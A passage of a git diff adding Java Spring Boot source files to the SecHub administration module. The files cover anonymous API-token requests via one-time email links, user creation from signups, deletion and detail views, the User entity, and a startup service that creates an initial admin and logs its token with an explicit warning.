+import com.daimler.sechub.sharedkernel.usecases.user.UseCaseUserRequestsNewApiToken; + + + +/** + * Request new api token by a given onetimetoken. Can be done anonymous + * + * @author Albert Tregnaghi + * + */ +@RestController +@EnableAutoConfiguration +public class AnonymousUserRequestNewApiTokenRestController { + + @Autowired + private AnonymousUserRequestsNewApiTokenService newApiTokenService; + + /* @formatter:off */ + @CrossOrigin /* to allow call from getsechub.detss and maybe other sites using javascript */ + @UseCaseUserRequestsNewApiToken(@Step(number=1, name="Rest API call",description="Rest api called to request new user api token. Normally done by user itself",needsRestDoc=true)) + @RequestMapping(path = AdministrationAPIConstants.API_REQUEST_NEW_APITOKEN, method = RequestMethod.POST) + public void anonymousRequestToGetNewApiTokenForUserMailAdress(@PathVariable(name="emailAddress") String emailAdress) { + /* @formatter:on */ + newApiTokenService.anonymousRequestToGetNewApiTokenForUserMailAdress(emailAdress); + } + + +} diff --git a/sechub-administration/src/main/java/com/daimler/sechub/domain/administration/user/AnonymousUserRequestsNewApiTokenService.java b/sechub-administration/src/main/java/com/daimler/sechub/domain/administration/user/AnonymousUserRequestsNewApiTokenService.java new file mode 100644 index 0000000000..0900b5e45d --- /dev/null +++ b/sechub-administration/src/main/java/com/daimler/sechub/domain/administration/user/AnonymousUserRequestsNewApiTokenService.java @@ -0,0 +1,89 @@ +// SPDX-License-Identifier: MIT +package com.daimler.sechub.domain.administration.user; + +import java.util.Date; +import java.util.Optional; + +import org.slf4j.Logger; +import org.slf4j.LoggerFactory; +import org.springframework.beans.factory.annotation.Autowired; +import org.springframework.stereotype.Service; + +import com.daimler.sechub.domain.administration.AdministrationAPIConstants; +import com.daimler.sechub.domain.administration.AdministrationEnvironment; +import com.daimler.sechub.domain.administration.OneTimeTokenGenerator; +import com.daimler.sechub.sharedkernel.messaging.DomainMessage; +import com.daimler.sechub.sharedkernel.messaging.DomainMessageService; +import com.daimler.sechub.sharedkernel.messaging.IsSendingAsyncMessage; +import com.daimler.sechub.sharedkernel.messaging.MessageDataKeys; +import com.daimler.sechub.sharedkernel.messaging.MessageID; +import com.daimler.sechub.sharedkernel.messaging.UserMessage; + +@Service +public class AnonymousUserRequestsNewApiTokenService { + + private static final Logger LOG = LoggerFactory.getLogger(AnonymousUserRequestsNewApiTokenService.class); + + @Autowired + DomainMessageService eventBusService; + + @Autowired + UserRepository userRepository; + + @Autowired + AdministrationEnvironment environment; + + @Autowired + OneTimeTokenGenerator oneTimeTokenGenerator; + + + public void anonymousRequestToGetNewApiTokenForUserMailAdress(String userEmail) { + + Optional found = userRepository.findByEmailAdress(userEmail); + if (! found.isPresent()) { + /* we just do nothing here - prevent user enumeration by hacking...*/ + LOG.warn("Anonymous request to get new api token, but user unknown: {})",userEmail); + return; + } + + User user = saveUserWithNewOneTimeToken(found); + + sendUserNewApiTokenRequested(userEmail, user); + } + + @IsSendingAsyncMessage(MessageID.USER_NEW_API_TOKEN_REQUESTED) + private void sendUserNewApiTokenRequested(String userEmail, User user) { + /* we just send info about new api token */ + DomainMessage infoRequest = new DomainMessage(MessageID.USER_NEW_API_TOKEN_REQUESTED); + UserMessage userMessage = new UserMessage(); + userMessage.setEmailAdress(userEmail); + + /* + * Security: we do NOT use userid inside this link - if some body got information about + * the link he/she is not able to use fetched api token because not knowing + * which userid... + */ + String linkWithOneTimeToken = environment.getAdministrationBaseURL() + + AdministrationAPIConstants.API_FETCH_NEW_API_TOKEN_BY_ONE_WAY_TOKEN + "/" + user.getOneTimeToken(); + + userMessage.setLinkWithOneTimeToken(linkWithOneTimeToken); + userMessage.setSubject("Your request for a new SecHub API token"); + infoRequest.set(MessageDataKeys.USER_ONE_TIME_TOKEN_INFO, userMessage); + + eventBusService.sendAsynchron(infoRequest); + } + + private User saveUserWithNewOneTimeToken(Optional found) { + String oneTimeToken = oneTimeTokenGenerator.generateNewOneTimeToken(); + + User user = found.get(); + user.oneTimeToken = oneTimeToken; + user.oneTimeTokenDate = new Date(); + + userRepository.save(user); + + LOG.debug("Updated one time token for user:{}", user.getName()); + return user; + } + +} diff --git a/sechub-administration/src/main/java/com/daimler/sechub/domain/administration/user/InternalInitialDataService.java b/sechub-administration/src/main/java/com/daimler/sechub/domain/administration/user/InternalInitialDataService.java new file mode 100644 index 0000000000..e42a89772b --- /dev/null +++ b/sechub-administration/src/main/java/com/daimler/sechub/domain/administration/user/InternalInitialDataService.java @@ -0,0 +1,175 @@ +// SPDX-License-Identifier: MIT +package com.daimler.sechub.domain.administration.user; + +import java.util.Optional; + +import org.slf4j.Logger; +import org.slf4j.LoggerFactory; +import org.springframework.beans.factory.annotation.Autowired; +import org.springframework.data.domain.Example; +import org.springframework.security.crypto.factory.PasswordEncoderFactories; +import org.springframework.security.crypto.password.PasswordEncoder; +import org.springframework.stereotype.Service; + +import com.daimler.sechub.sharedkernel.messaging.DomainMessage; +import com.daimler.sechub.sharedkernel.messaging.DomainMessageService; +import com.daimler.sechub.sharedkernel.messaging.IsSendingAsyncMessage; +import com.daimler.sechub.sharedkernel.messaging.MessageDataKeys; +import com.daimler.sechub.sharedkernel.messaging.MessageID; +import com.daimler.sechub.sharedkernel.messaging.UserMessage; + +/** + * This is an internal service only. It's used on startup to create an + * administrator with well known api token etc. This admin shall be used only at + * startup and deleted as soon as there is another (real) administrator applied + * + * @author Albert Tregnaghi + * + */ +@Service +public class InternalInitialDataService { + + private static final Logger LOG = LoggerFactory.getLogger(InternalInitialDataService.class); + + @Autowired + DomainMessageService eventBusService; + + @Autowired + UserRepository userRepository; + + /** + * Creates an initial administrator - when not used in integration tests but on normal + * environment this administrator should be deleted when another user has gained administrator rights + * + * @param userId + * @param emailAdress + * @param fixApiToken - use "{nooop}" as prefix to prevent token encryption + */ + public void createInitialAdmin(String userId, String emailAdress, String fixApiToken) { + internalCreateInitialUser(userId, emailAdress, fixApiToken, true); + } + + /** + * Creates an initial test user + * + * @param userId + * @param emailAdress + * @param unencryptedAPItoken - use "{nooop}" as prefix to prevent token encryption + */ + public void createInitialTestUser(String userId, String emailAdress, String unencryptedAPItoken) { + internalCreateInitialUser(userId, emailAdress, unencryptedAPItoken, false); + } + + private void internalCreateInitialUser(String userId, String emailAddress, String unencryptedAPItoken, boolean createAsSuperAdmin) { + User exampleUser = new User(); + exampleUser.superAdmin = true; + + if (createAsSuperAdmin && userRepository.exists(Example.of(exampleUser))) { + LOG.info("At lelast one admin exists already, so skip initial admin creation of {} ", userId); + return; + } + if (createAsSuperAdmin) { + logInitialAdminCredentials(userId,unencryptedAPItoken, emailAddress); + } + + Optional found = userRepository.findById(userId); + if (found.isPresent()) { + LOG.error("Initial admin {} already exists ?!?!", userId); + return; + } + /* create */ + User user = createUser(userId, emailAddress, unencryptedAPItoken, createAsSuperAdmin); + /* send events - will create auth layer etc. */ + informUserCreated(user); + /* + * We must this send additional to inform authorization domain to update the + * token... the user must exist before, so we wait some time to ensure we have + * user being created in admin layer - this avoids race conditions. + * + * Not very smart... but it works and its only done one time at first + * start... so acceptable. + */ + try { + Thread.sleep(500); // + } catch (InterruptedException e) { + Thread.interrupted(); + } + informUserAPITokenChanged(user); + + } + + private User createUser(String userId, String emailAddress, String fixApiToken, boolean superAdmin) { + /* create a super admin */ + User user = new User(); + user.name = userId; + if (fixApiToken.startsWith("{noop}")) { + /* special case for noop variants, where no password encrypt is + * wanted - e.g. on integration tests bcrypt passwords do slow + * done automated tests + */ + user.hashedApiToken=fixApiToken; + }else { + user.hashedApiToken = encryptPassword(fixApiToken); + } + user.emailAdress = emailAddress; + user.superAdmin = superAdmin; + + userRepository.save(user); + + LOG.debug("Persisted new initial admin:{}", userId); + return user; + } + + private void logInitialAdminCredentials(String initialAdminUserId, String unencryptedApiToken, String emailAddress) { + StringBuilder sb = new StringBuilder(); + sb.append("Initial SecHub Admin created !"); + sb.append("\n##################### ATTENTION #####################################################"); + sb.append("\n# Created initial admin:'{}' with password:'{}'"); + sb.append("\n# email:'{}'"); + sb.append("\n# In production: CHANGE this initial API token, when your server has been started."); + sb.append("\n# Everybody able to read this log file has access to these admin credentials!"); + sb.append("\n#####################################################################################"); + + LOG.warn(sb.toString(),initialAdminUserId,unencryptedApiToken,emailAddress); + /* TODO de-jcup, 2019-05-29: think about forgetting this log as well - user has an email and can reset his/her account */ + } + + @IsSendingAsyncMessage(MessageID.USER_CREATED) + private void informUserCreated(User user) { + DomainMessage infoRequest = new DomainMessage(MessageID.USER_CREATED); + + UserMessage message = createInitialUserAuthData(user); + + infoRequest.set(MessageDataKeys.USER_CREATION_DATA, message); + + eventBusService.sendAsynchron(infoRequest); + } + + @IsSendingAsyncMessage(MessageID.USER_API_TOKEN_CHANGED) + private void informUserAPITokenChanged(User user) { + DomainMessage infoRequest = new DomainMessage(MessageID.USER_API_TOKEN_CHANGED); + + UserMessage message = createInitialUserAuthData(user); + message.setHashedApiToken(user.getHashedApiToken()); + + infoRequest.set(MessageDataKeys.USER_API_TOKEN_DATA, message); + + eventBusService.sendAsynchron(infoRequest); + } + + private UserMessage createInitialUserAuthData(User user) { + UserMessage authDataHashed = new UserMessage(); + + authDataHashed.setUserId(user.getName()); + authDataHashed.setEmailAdress(user.getEmailAdress()); + + return authDataHashed; + } + + private String encryptPassword(String initialPassword) { + /* encrypt */ + PasswordEncoder encoder = PasswordEncoderFactories.createDelegatingPasswordEncoder(); + return encoder.encode(initialPassword); + } + +} diff --git a/sechub-administration/src/main/java/com/daimler/sechub/domain/administration/user/User.java b/sechub-administration/src/main/java/com/daimler/sechub/domain/administration/user/User.java new file mode 100644 index 0000000000..38d251c2f0 --- /dev/null +++ b/sechub-administration/src/main/java/com/daimler/sechub/domain/administration/user/User.java @@ -0,0 +1,170 @@ +// SPDX-License-Identifier: MIT +package com.daimler.sechub.domain.administration.user; + +import java.util.Date; +import java.util.Set; + +import javax.persistence.CascadeType; +import javax.persistence.Column; +import javax.persistence.Entity; +import javax.persistence.FetchType; +import javax.persistence.Id; +import javax.persistence.ManyToMany; +import javax.persistence.OneToMany; +import javax.persistence.Table; +import javax.persistence.Temporal; +import javax.persistence.TemporalType; +import javax.persistence.Version; + +import com.daimler.sechub.domain.administration.project.Project; + +@Entity +@Table(name = User.TABLE_NAME) +public class User { + + + /* +-----------------------------------------------------------------------+ */ + /* +............................ SQL ......................................+ */ + /* +-----------------------------------------------------------------------+ */ + public static final String TABLE_NAME = "ADM_USER"; + public static final String TABLE_ROLES_NAME = "ADM_USER_TO_ROLES"; + + public static final String COLUMN_USER_ID = "USER_ID"; + public static final String COLUMN_USER_HASHED_API_TOKEN = "USER_APITOKEN"; + /** + * A one time token represents a special token which can be used just one time + */ + public static final String COLUMN_USER_ONE_TIME_TOKEN = "USER_ONETIMETOKEN"; + public static final String COLUMN_USER_ONE_TIME_TOKEN_CREATED = "USER_OTT_CREATED"; + public static final String COLUMN_USER_ENABLED = "USER_ENABLED"; + + public static final String COLUMN_EMAIL_ADRESS = "USER_EMAIL_ADRESS"; + public static final String COLUMN_USER_ROLES = "USER_ROLES"; + public static final String COLUMN_USER_SUPERADMIN = "USER_SUPERADMIN"; + public static final String COLUMN_USER_DEACTIVATED = "USER_DEACTIVATED"; + public static final String COLUMN_USER_PROJECTS = "PROJECTS_PROJECT_ID"; + + /* +-----------------------------------------------------------------------+ */ + /* +............................ JPQL .....................................+ */ + /* +-----------------------------------------------------------------------+ */ + public static final String CLASS_NAME = User.class.getSimpleName(); + + @Id + @Column(name = COLUMN_USER_ID, unique = true, nullable = false) + String name; + + @Column(name = COLUMN_EMAIL_ADRESS, unique = true, nullable = false) + String emailAdress; + + @Column(name = COLUMN_USER_HASHED_API_TOKEN, nullable = false) + String hashedApiToken; + + @Column(name = COLUMN_USER_ONE_TIME_TOKEN, nullable = true) + String oneTimeToken; + + @Column(name = COLUMN_USER_ONE_TIME_TOKEN_CREATED, nullable = true) + @Temporal(TemporalType.TIMESTAMP) + Date oneTimeTokenDate; + + @Column(name = COLUMN_USER_PROJECTS, nullable = false) + @ManyToMany(cascade=CascadeType.ALL, mappedBy=Project.PROPERTY_USERS, fetch=FetchType.EAGER) + Set projects; + + @OneToMany(cascade=CascadeType.ALL, mappedBy=Project.PROPERTY_OWNER, fetch=FetchType.EAGER) + Set ownedProjects; + + @Column(name = COLUMN_USER_SUPERADMIN) + boolean superAdmin; + + @Column(name = COLUMN_USER_DEACTIVATED) + boolean deactivated; + + @Version + @Column(name = "VERSION") + Integer version; + + public Set getProjects() { + return projects; + } + + public Set getOwnedProjects() { + return ownedProjects; + } + + public boolean isSuperAdmin() { + return superAdmin; + } + + public boolean isDeactivated() { + return deactivated; + } + + public String getEmailAdress() { + return emailAdress; + } + + public String getName() { + return name; + } + + public String getHashedApiToken() { + return hashedApiToken; + } + + public String getOneTimeToken() { + return oneTimeToken; + } + + public Date getOneTimeTokenDate() { + return oneTimeTokenDate; + } + + /** + * Returns true when one time token is outdated or not existing + * @param timeOutMillis + * @return true when one time token is outdated + */ + public boolean isOneTimeTokenOutDated(long timeOutMillis) { + if (oneTimeTokenDate==null) { + return true; + } + if (oneTimeToken==null || oneTimeToken.isEmpty()) { + return true; + } + long current = System.currentTimeMillis(); + long diff = current-oneTimeTokenDate.getTime(); + return diff>timeOutMillis; + } + + @Override + public int hashCode() { + final int prime = 31; + int result = 1; + result = prime * result + ((name == null) ? 0 : name.hashCode()); + return result; + } + + @Override + public boolean equals(Object obj) { + if (this == obj) { + return true; + } + if (obj == null) { + return false; + } + if (getClass() != obj.getClass()) { + return false; + } + User other = (User) obj; + if (name == null) { + if (other.name != null) + return false; + } else if (!name.equals(other.name)) { + return false; + } + return true; + } + + + +} \ No newline at end of file diff --git a/sechub-administration/src/main/java/com/daimler/sechub/domain/administration/user/UserAdministrationRestController.java b/sechub-administration/src/main/java/com/daimler/sechub/domain/administration/user/UserAdministrationRestController.java new file mode 100644 index 0000000000..6fefdca702 --- /dev/null +++ b/sechub-administration/src/main/java/com/daimler/sechub/domain/administration/user/UserAdministrationRestController.java @@ -0,0 +1,115 @@ +// SPDX-License-Identifier: MIT +package com.daimler.sechub.domain.administration.user; + +import java.util.List; + +import javax.annotation.security.RolesAllowed; + +import org.springframework.beans.factory.annotation.Autowired; +import org.springframework.boot.autoconfigure.EnableAutoConfiguration; +import org.springframework.http.HttpStatus; +import org.springframework.http.MediaType; +import org.springframework.web.bind.annotation.PathVariable; +import org.springframework.web.bind.annotation.RequestMapping; +import org.springframework.web.bind.annotation.RequestMethod; +import org.springframework.web.bind.annotation.ResponseStatus; +import org.springframework.web.bind.annotation.RestController; + +import com.daimler.sechub.domain.administration.AdministrationAPIConstants; +import com.daimler.sechub.sharedkernel.RoleConstants; +import com.daimler.sechub.sharedkernel.Step; +import com.daimler.sechub.sharedkernel.usecases.admin.signup.UseCaseAdministratorAcceptsSignup; +import com.daimler.sechub.sharedkernel.usecases.admin.user.UseCaseAdministratorDeletesUser; +import com.daimler.sechub.sharedkernel.usecases.admin.user.UseCaseAdministratorGrantsAdminRightsToUser; +import com.daimler.sechub.sharedkernel.usecases.admin.user.UseCaseAdministratorListsAllAdmins; +import com.daimler.sechub.sharedkernel.usecases.admin.user.UseCaseAdministratorListsAllUsers; +import com.daimler.sechub.sharedkernel.usecases.admin.user.UseCaseAdministratorRevokesAdminRightsFromAdmin; +import com.daimler.sechub.sharedkernel.usecases.admin.user.UseCaseAdministratorShowsUserDetails; + +/** + * The rest api for user administration done by a super admin. + * + * @author Albert Tregnaghi + * + */ +@RestController +@EnableAutoConfiguration +@RolesAllowed(RoleConstants.ROLE_SUPERADMIN) +public class UserAdministrationRestController { + + @Autowired + UserCreationService creationService; + + @Autowired + UserDeleteService deleteService; + + @Autowired + UserDetailInformationService detailsService; + + @Autowired + UserListService userListService; + + @Autowired + UserGrantSuperAdminRightsService userGrantSuperAdminRightsService; + + @Autowired + UserRevokeSuperAdminRightsService userRevokeSuperAdminRightsService; + + /* @formatter:off */ + @UseCaseAdministratorAcceptsSignup(@Step(number=1,name="Rest call", description="Administrator accepts a persisted self registration entry by calling rest api",needsRestDoc=true)) + @RequestMapping(path = AdministrationAPIConstants.API_ACCEPT_USER_SIGNUP, method = RequestMethod.POST, produces= {MediaType.APPLICATION_JSON_UTF8_VALUE,MediaType.APPLICATION_JSON_VALUE}) + @ResponseStatus(HttpStatus.CREATED) + public void acceptUserSignUp(@PathVariable(name="userId") String userId) { + /* @formatter:on */ + creationService.createUserFromSelfRegistration(userId); + } + + /* @formatter:off */ + @UseCaseAdministratorListsAllUsers(@Step(number=1,name="Rest call",description="All userids of sechub users are returned as json",needsRestDoc=true)) + @RequestMapping(path = AdministrationAPIConstants.API_LIST_ALL_USERS, method = RequestMethod.GET, produces= {MediaType.APPLICATION_JSON_UTF8_VALUE,MediaType.APPLICATION_JSON_VALUE}) + public List listUsers() { + /* @formatter:on */ + return userListService.listUsers(); + } + + /* @formatter:off */ + @UseCaseAdministratorListsAllAdmins(@Step(number=1,name="Rest call",description="All userids of sechub administrators are returned as json",needsRestDoc=true)) + @RequestMapping(path = AdministrationAPIConstants.API_LIST_ALL_ADMINS, method = RequestMethod.GET, produces= {MediaType.APPLICATION_JSON_UTF8_VALUE,MediaType.APPLICATION_JSON_VALUE}) + public List listAdministrators() { + /* @formatter:on */ + return userListService.listAdministrators(); + } + + /* @formatter:off */ + @UseCaseAdministratorShowsUserDetails(@Step(number=1,name="Rest call",description="Json returned containing details about user and her/his projects",needsRestDoc=true)) + @RequestMapping(path = AdministrationAPIConstants.API_SHOW_USER_DETAILS, method = RequestMethod.GET, produces= {MediaType.APPLICATION_JSON_UTF8_VALUE,MediaType.APPLICATION_JSON_VALUE}) + public UserDetailInformation showUserDetails(@PathVariable(name="userId") String userId) { + /* @formatter:on */ + return detailsService.fetchDetails(userId); + } + + /* @formatter:off */ + @UseCaseAdministratorDeletesUser(@Step(number=1,name="Rest call",description="User will be deleted",needsRestDoc=true)) + @RequestMapping(path = AdministrationAPIConstants.API_DELETE_USER, method = RequestMethod.DELETE, produces= {MediaType.APPLICATION_JSON_UTF8_VALUE,MediaType.APPLICATION_JSON_VALUE}) + public void deleteUser(@PathVariable(name="userId") String userId) { + /* @formatter:on */ + deleteService.deleteUser(userId); + } + + /* @formatter:off */ + @UseCaseAdministratorGrantsAdminRightsToUser(@Step(number=1,name="Rest call",description="User will be granted admin rights",needsRestDoc=true)) + @RequestMapping(path = AdministrationAPIConstants.API_GRANT_ADMIN_RIGHTS_TO_USER, method = RequestMethod.POST, produces= {MediaType.APPLICATION_JSON_UTF8_VALUE,MediaType.APPLICATION_JSON_VALUE}) + public void grantSuperAdminrights(@PathVariable(name="userId") String userId) { + /* @formatter:on */ + userGrantSuperAdminRightsService.grantSuperAdminRightsFor(userId); + } + + /* @formatter:off */ + @UseCaseAdministratorRevokesAdminRightsFromAdmin(@Step(number=1,name="Rest call",description="Admin rights will be revoked from admin",needsRestDoc=true)) + @RequestMapping(path = AdministrationAPIConstants.API_REVOKE_ADMIN_RIGHTS_FROM_USER, method = RequestMethod.POST, produces= {MediaType.APPLICATION_JSON_UTF8_VALUE,MediaType.APPLICATION_JSON_VALUE}) + public void revokeSuperAdminrights(@PathVariable(name="userId") String userId) { + /* @formatter:on */ + userRevokeSuperAdminRightsService.revokeSuperAdminRightsFrom(userId); + } + +} diff --git a/sechub-administration/src/main/java/com/daimler/sechub/domain/administration/user/UserCreationService.java b/sechub-administration/src/main/java/com/daimler/sechub/domain/administration/user/UserCreationService.java new file mode 100644 index 0000000000..7abc27ba78 --- /dev/null +++ b/sechub-administration/src/main/java/com/daimler/sechub/domain/administration/user/UserCreationService.java @@ -0,0 +1,153 @@ +// SPDX-License-Identifier: MIT +package com.daimler.sechub.domain.administration.user; + +import java.util.Date; +import java.util.Optional; + +import javax.annotation.security.RolesAllowed; + +import org.slf4j.Logger; +import org.slf4j.LoggerFactory; +import org.springframework.beans.factory.annotation.Autowired; +import org.springframework.stereotype.Service; +import org.springframework.validation.annotation.Validated; + +import com.daimler.sechub.domain.administration.AdministrationAPIConstants; +import com.daimler.sechub.domain.administration.AdministrationEnvironment; +import com.daimler.sechub.domain.administration.OneTimeTokenGenerator; +import com.daimler.sechub.domain.administration.signup.Signup; +import com.daimler.sechub.domain.administration.signup.SignupRepository; +import com.daimler.sechub.sharedkernel.RoleConstants; +import com.daimler.sechub.sharedkernel.Step; +import com.daimler.sechub.sharedkernel.UserContextService; +import com.daimler.sechub.sharedkernel.messaging.DomainMessage; +import com.daimler.sechub.sharedkernel.messaging.DomainMessageService; +import com.daimler.sechub.sharedkernel.messaging.IsSendingAsyncMessage; +import com.daimler.sechub.sharedkernel.messaging.MessageDataKeys; +import com.daimler.sechub.sharedkernel.messaging.MessageID; +import com.daimler.sechub.sharedkernel.messaging.UserMessage; +import com.daimler.sechub.sharedkernel.usecases.admin.signup.UseCaseAdministratorAcceptsSignup; + +@Service +@RolesAllowed(RoleConstants.ROLE_SUPERADMIN) +public class UserCreationService { + + private static final Logger LOG = LoggerFactory.getLogger(UserCreationService.class); + + @Autowired + UserContextService userContext; + + @Autowired + AdministrationEnvironment environment; + + @Autowired + SignupRepository selfRegistrationRepository; + + @Autowired + DomainMessageService eventBusService; + + @Autowired + UserRepository userRepository; + + @Autowired + OneTimeTokenGenerator oneTimeTokenGenerator; + + @Validated + @UseCaseAdministratorAcceptsSignup(@Step(number = 2, name = "Create user and send events", next = { 3, + 4 }, description = "The service will create the user a one time token for api token generation and triggers asynchronous events.\n" + + "It will also remove the existing user signup because no longer necessary.")) + public void createUserFromSelfRegistration(String userId) { + LOG.info("Administrator {} accepts signup of user {}",userContext.getUserId(),userId); + + + Optional selfRegistration = selfRegistrationRepository.findById(userId); + if (!selfRegistration.isPresent()) { + LOG.warn("Did not found a self registration for user with name:{}, so skipped creation", userId); + return; + } + Optional found = userRepository.findById(userId); + if (found.isPresent()) { + LOG.warn( + "Self registration coming in for user:{} but user already exists. So just removing self registration entry", + userId); + selfRegistrationRepository.deleteById(userId); + return; + } + + String emailAdress = selfRegistration.get().getEmailAdress(); + found = userRepository.findByEmailAdress(emailAdress); + + if (found.isPresent()) { + LOG.warn( + "Self registration coming in for user:{} but mailadress {} already exists. So just removing self registration entry", + userId, emailAdress); + selfRegistrationRepository.deleteById(userId); + return; + } + + + String oneTimeToken = oneTimeTokenGenerator.generateNewOneTimeToken(); + + User user = new User(); + user.name = userId; + user.hashedApiToken = "";// leave it empty, so API auth is disabled - will be filled later after user has + // clicked to link + user.emailAdress = emailAdress; + user.oneTimeToken = oneTimeToken; + user.oneTimeTokenDate = new Date(); + + userRepository.save(user); + + LOG.debug("Persisted new user:{}", userId); + + selfRegistrationRepository.deleteById(userId); + LOG.debug("Removed self registration data of user:{}", userId); + + informUserAboutSignupAccepted(user); + informUserCreated(user); + + } + + @IsSendingAsyncMessage(MessageID.USER_CREATED) + private void informUserCreated(User user) { + DomainMessage infoRequest = new DomainMessage(MessageID.USER_CREATED); + + UserMessage message = createInitialUserAuthData(user); + + infoRequest.set(MessageDataKeys.USER_CREATION_DATA, message); + + eventBusService.sendAsynchron(infoRequest); + } + + @IsSendingAsyncMessage(MessageID.USER_NEW_API_TOKEN_REQUESTED) + private void informUserAboutSignupAccepted(User user) { + /* we just send info about new api token */ + DomainMessage infoRequest = new DomainMessage(MessageID.USER_NEW_API_TOKEN_REQUESTED); + UserMessage userMessage = new UserMessage(); + userMessage.setEmailAdress(user.getEmailAdress()); + + /* + * Security: we do NOT use userid inside this link - if some body got information about + * the link he/she is not able to use fetched api token because not knowing + * which userid... + */ + String linkWithOneTimeToken = environment.getAdministrationBaseURL() + + AdministrationAPIConstants.API_FETCH_NEW_API_TOKEN_BY_ONE_WAY_TOKEN + "/" + user.getOneTimeToken(); + + userMessage.setLinkWithOneTimeToken(linkWithOneTimeToken); + userMessage.setSubject("SecHub user account created"); + infoRequest.set(MessageDataKeys.USER_ONE_TIME_TOKEN_INFO, userMessage); + + eventBusService.sendAsynchron(infoRequest); + } + + private UserMessage createInitialUserAuthData(User user) { + UserMessage authDataHashed = new UserMessage(); + + authDataHashed.setUserId(user.getName()); + authDataHashed.setEmailAdress(user.getEmailAdress()); + + return authDataHashed; + } + +} diff --git a/sechub-administration/src/main/java/com/daimler/sechub/domain/administration/user/UserDeleteService.java b/sechub-administration/src/main/java/com/daimler/sechub/domain/administration/user/UserDeleteService.java new file mode 100644 index 0000000000..8745b863f3 --- /dev/null +++ b/sechub-administration/src/main/java/com/daimler/sechub/domain/administration/user/UserDeleteService.java @@ -0,0 +1,84 @@ +// SPDX-License-Identifier: MIT +package com.daimler.sechub.domain.administration.user; + +import javax.annotation.security.RolesAllowed; + +import org.slf4j.Logger; +import org.slf4j.LoggerFactory; +import org.springframework.beans.factory.annotation.Autowired; +import org.springframework.stereotype.Service; +import org.springframework.validation.annotation.Validated; + +import com.daimler.sechub.sharedkernel.RoleConstants; +import com.daimler.sechub.sharedkernel.Step; +import com.daimler.sechub.sharedkernel.UserContextService; +import com.daimler.sechub.sharedkernel.error.NotAcceptableException; +import com.daimler.sechub.sharedkernel.logging.AuditLogService; +import com.daimler.sechub.sharedkernel.messaging.DomainMessage; +import com.daimler.sechub.sharedkernel.messaging.DomainMessageService; +import com.daimler.sechub.sharedkernel.messaging.IsSendingAsyncMessage; +import com.daimler.sechub.sharedkernel.messaging.MessageDataKeys; +import com.daimler.sechub.sharedkernel.messaging.MessageID; +import com.daimler.sechub.sharedkernel.messaging.UserMessage; +import com.daimler.sechub.sharedkernel.usecases.admin.user.UseCaseAdministratorDeletesUser; + +@Service +@RolesAllowed(RoleConstants.ROLE_SUPERADMIN) +public class UserDeleteService { + + private static final Logger LOG = LoggerFactory.getLogger(UserDeleteService.class); + + @Autowired + DomainMessageService eventBusService; + + @Autowired + UserRepository userRepository; + + @Autowired + UserContextService userContext; + + @Autowired + AuditLogService auditLogService; + + /* @formatter:off */ + @Validated + @UseCaseAdministratorDeletesUser( + @Step( + number = 2, + name = "Service deletes user.", + next = { 3, 4 }, + description = "The service will delete the user with dependencies and triggers asynchronous events")) + /* @formatter:on */ + public void deleteUser(String userId) { + auditLogService.log("Triggers delete of user {}",userId); + if (userId==null) { + LOG.warn("Username was null! Should not happen"); + return; + } + if (userId.contentEquals(userContext.getUserId())) { + throw new NotAcceptableException("You are not allowed to delte yourself!"); + } + + User user = userRepository.findOrFailUser(userId); + + /* create message containing data before user is deleted */ + UserMessage message = new UserMessage(); + message.setUserId(user.getName()); + message.setEmailAdress(user.getEmailAdress()); + + userRepository.delete(user); + + informUserDeleted(message); + + } + + @IsSendingAsyncMessage(MessageID.USER_DELETED) + private void informUserDeleted(UserMessage message) { + + DomainMessage infoRequest = new DomainMessage(MessageID.USER_DELETED); + infoRequest.set(MessageDataKeys.USER_DELETE_DATA, message); + + eventBusService.sendAsynchron(infoRequest); + } + +} diff --git a/sechub-administration/src/main/java/com/daimler/sechub/domain/administration/user/UserDetailInformation.java b/sechub-administration/src/main/java/com/daimler/sechub/domain/administration/user/UserDetailInformation.java new file mode 100644 index 0000000000..b632df3455 --- /dev/null +++ b/sechub-administration/src/main/java/com/daimler/sechub/domain/administration/user/UserDetailInformation.java @@ -0,0 +1,66 @@ +// SPDX-License-Identifier: MIT +package com.daimler.sechub.domain.administration.user; + +import java.util.ArrayList; +import java.util.List; + +import com.daimler.sechub.domain.administration.project.Project; + +/** + * This represents an information object used for json output + * @author Albert Tregnaghi + * + */ +public class UserDetailInformation { + + public static final String PROPERTY_USERNAME = "userId"; + public static final String PROPERTY_EMAIL = "email"; + public static final String PROPERTY_PROJECTS = "projects"; + public static final String PROPERTY_OWNED_PROJECTS = "ownedProjects"; + public static final String PROPERTY_SUPERADMIN ="superAdmin"; + + private String userId; + + private String email; + + private boolean superAdmin; + + private List projects = new ArrayList<>(); + + private List ownedProjects = new ArrayList<>(); + + public UserDetailInformation(User user) { + this.userId=user.getName(); + this.email=user.getEmailAdress(); + + for (Project project: user.getProjects()) { + this.projects.add(project.getId()); + } + + for (Project project: user.getOwnedProjects()) { + this.ownedProjects.add(project.getId()); + } + this.superAdmin=user.isSuperAdmin(); + } + + public List getProjects() { + return projects; + } + + public List getOwnedProjects() { + return ownedProjects; + } + + public String getEmail() { + return email; + } + + public String getUserId() { + return userId; + } + + public boolean isSuperAdmin() { + return superAdmin; + } + +} diff --git a/sechub-administration/src/main/java/com/daimler/sechub/domain/administration/user/UserDetailInformationService.java b/sechub-administration/src/main/java/com/daimler/sechub/domain/administration/user/UserDetailInformationService.java new file mode 100644 index 0000000000..937b8f0569 --- /dev/null +++ b/sechub-administration/src/main/java/com/daimler/sechub/domain/administration/user/UserDetailInformationService.java @@ -0,0 +1,39 @@ +// SPDX-License-Identifier: MIT +package com.daimler.sechub.domain.administration.user; + +import javax.annotation.security.RolesAllowed; + +import org.slf4j.Logger; +import org.slf4j.LoggerFactory; +import org.springframework.beans.factory.annotation.Autowired; +import org.springframework.stereotype.Service; +import org.springframework.validation.annotation.Validated; + +import com.daimler.sechub.sharedkernel.RoleConstants; +import com.daimler.sechub.sharedkernel.Step; +import com.daimler.sechub.sharedkernel.usecases.admin.user.UseCaseAdministratorShowsUserDetails; + +@Service +@RolesAllowed(RoleConstants.ROLE_SUPERADMIN) +public class UserDetailInformationService { + + private static final Logger LOG = LoggerFactory.getLogger(UserDetailInformationService.class); + + @Autowired + UserRepository userRepository; + + /* @formatter:off */ + @Validated + @UseCaseAdministratorShowsUserDetails( + @Step( + number = 2, + name = "Service fetches user details.", + description = "The service will fetch user details")) + /* @formatter:on */ + public UserDetailInformation fetchDetails(String userId) { + LOG.debug("fetching user details for user:{}",userId); + User user = userRepository.findOrFailUser(userId); + + return new UserDetailInformation(user); + } +} diff --git 